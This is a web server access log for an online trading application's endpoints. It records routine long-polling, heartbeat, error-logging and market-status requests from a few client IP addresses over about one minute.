[09/Jan/2026:12:07:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931915339 HTTP/1.1" -
[09/Jan/2026:12:07:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931914085 HTTP/1.1" -
[09/Jan/2026:12:07:27 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931916058 HTTP/1.1" -
[09/Jan/2026:12:07:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:07:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:07:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:07:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931917089 HTTP/1.1" -
[09/Jan/2026:12:07:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:07:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931918327 HTTP/1.1" -
[09/Jan/2026:12:07:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931918327 HTTP/1.1" -
[09/Jan/2026:12:07:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931920272 HTTP/1.1" -
[09/Jan/2026:12:07:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931919109 HTTP/1.1" -
[09/Jan/2026:12:07:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931921332 HTTP/1.1" -
[09/Jan/2026:12:07:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931921265 HTTP/1.1" -
[09/Jan/2026:12:07:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931922213 HTTP/1.1" -
[09/Jan/2026:12:07:33 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:07:33 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:07:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931924328 HTTP/1.1" -
[09/Jan/2026:12:07:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931924329 HTTP/1.1" -
[09/Jan/2026:12:07:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931925294 HTTP/1.1" -
[09/Jan/2026:12:07:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931924179 HTTP/1.1" -
[09/Jan/2026:12:07:37 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931926526 HTTP/1.1" -
[09/Jan/2026:12:07:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931927330 HTTP/1.1" -
[09/Jan/2026:12:07:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931927302 HTTP/1.1" -
[09/Jan/2026:12:07:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931930324 HTTP/1.1" -
[09/Jan/2026:12:07:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931930331 HTTP/1.1" -
[09/Jan/2026:12:07:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931930331 HTTP/1.1" -
[09/Jan/2026:12:07:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931929266 HTTP/1.1" -
[09/Jan/2026:12:07:42 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931931718 HTTP/1.1" -
[09/Jan/2026:12:07:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931932519 HTTP/1.1" -
[09/Jan/2026:12:07:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931933332 HTTP/1.1" -
[09/Jan/2026:12:07:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931935366 HTTP/1.1" -
[09/Jan/2026:12:07:46 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931934323 HTTP/1.1" -
[09/Jan/2026:12:07:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931936337 HTTP/1.1" -
[09/Jan/2026:12:07:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931936337 HTTP/1.1" -
[09/Jan/2026:12:07:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931936977 HTTP/1.1" -
[09/Jan/2026:12:07:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:07:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:07:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:07:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:07:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931937670 HTTP/1.1" -
[09/Jan/2026:12:07:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931939335 HTTP/1.1" -
[09/Jan/2026:12:07:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931940390 HTTP/1.1" -
[09/Jan/2026:12:07:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:07:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:07:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931939412 HTTP/1.1" -
[09/Jan/2026:12:07:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931942188 HTTP/1.1" -
[09/Jan/2026:12:07:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931942331 HTTP/1.1" -
[09/Jan/2026:12:07:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931942331 HTTP/1.1" -
[09/Jan/2026:12:07:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:07:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931942855 HTTP/1.1" -
[09/Jan/2026:12:07:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:07:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:07:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:07:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931945412 HTTP/1.1" -
[09/Jan/2026:12:07:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931945327 HTTP/1.1" -
[09/Jan/2026:12:07:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931944483 HTTP/1.1" -
[09/Jan/2026:12:07:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:07:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:07:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:07:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:07:58 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931947395 HTTP/1.1" -
[09/Jan/2026:12:07:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931948057 HTTP/1.1" -
[09/Jan/2026:12:07:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931948337 HTTP/1.1" -
[09/Jan/2026:12:07:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931948337 HTTP/1.1" -
[09/Jan/2026:12:08:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931950450 HTTP/1.1" -
[09/Jan/2026:12:08:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931949506 HTTP/1.1" -
[09/Jan/2026:12:08:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931951338 HTTP/1.1" -
[09/Jan/2026:12:08:03 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:08:03 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:08:04 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931952819 HTTP/1.1" -
[09/Jan/2026:12:08:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931953117 HTTP/1.1" -
[09/Jan/2026:12:08:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931954337 HTTP/1.1" -
[09/Jan/2026:12:08:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931954337 HTTP/1.1" -
[09/Jan/2026:12:08:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931955483 HTTP/1.1" -
[09/Jan/2026:12:08:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931954630 HTTP/1.1" -
[09/Jan/2026:12:08:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931957331 HTTP/1.1" -
[09/Jan/2026:12:08:09 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931958012 HTTP/1.1" -
[09/Jan/2026:12:08:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931958167 HTTP/1.1" -
[09/Jan/2026:12:08:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931960524 HTTP/1.1" -
[09/Jan/2026:12:08:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931960329 HTTP/1.1" -
[09/Jan/2026:12:08:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931960329 HTTP/1.1" -
[09/Jan/2026:12:08:12 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931959698 HTTP/1.1" -
[09/Jan/2026:12:08:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931963173 HTTP/1.1" -
[09/Jan/2026:12:08:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931963331 HTTP/1.1" -
